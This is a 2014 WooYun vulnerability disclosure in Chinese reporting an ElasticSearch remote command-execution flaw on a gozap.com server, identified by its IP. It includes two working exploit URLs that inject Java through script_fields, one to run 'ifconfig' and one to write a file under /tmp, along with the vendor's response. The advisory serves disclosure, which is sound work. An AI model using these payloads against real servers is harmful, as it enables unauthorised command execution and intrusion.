漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-062163
漏洞标题:gozap某服务器ElasticSearch命令执行漏洞
相关厂商:gozap.com
漏洞作者: cmd
提交时间:2014-05-27 18:07
修复时间:2014-06-01 18:08
公开时间:2014-06-01 18:08
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-06-01: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
gozap某服务器ElasticSearch命令执行漏洞
详细说明:
223.4.202.17.25
ElasticSearch存在命令执行漏洞
执行命令代码
http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nString%20str%20=%20\%22\%22;BufferedReader%20br%20=%20new%20BufferedReader(new%20InputStreamReader(Runtime.getRuntime().exec(\%22ifconfig\%22).getInputStream()));StringBuilder%20sb%20=%20new%20StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();%22}}}
写文件代码
http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filtered%22:{%22query%22:{%22match_all%22:{}}}},%22script_fields%22:{%22exp%22:{%22script%22:%22import%20java.util.*;\nimport%20java.io.*;\nFile%20f%20=%20new%20File(\%22/tmp/12.txt\%22);if(f.exists()){\%22exists\%22.toString();}BufferedWriter%20bw%20=%20new%20BufferedWriter(new%20OutputStreamWriter(new%20FileOutputStream(f),\%22UTF-8\%22));bw.write(\%221233\%22);bw.flush();bw.close();if(f.exists()){\%22success\%22.toString();}%22}}}
漏洞证明:
修复方案:
升级最新版
版权声明:转载请注明来源 cmd@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2014-06-01 18:08
厂商回复:
最新状态:
2014-09-11:已经关闭ElasticSearch 外网端口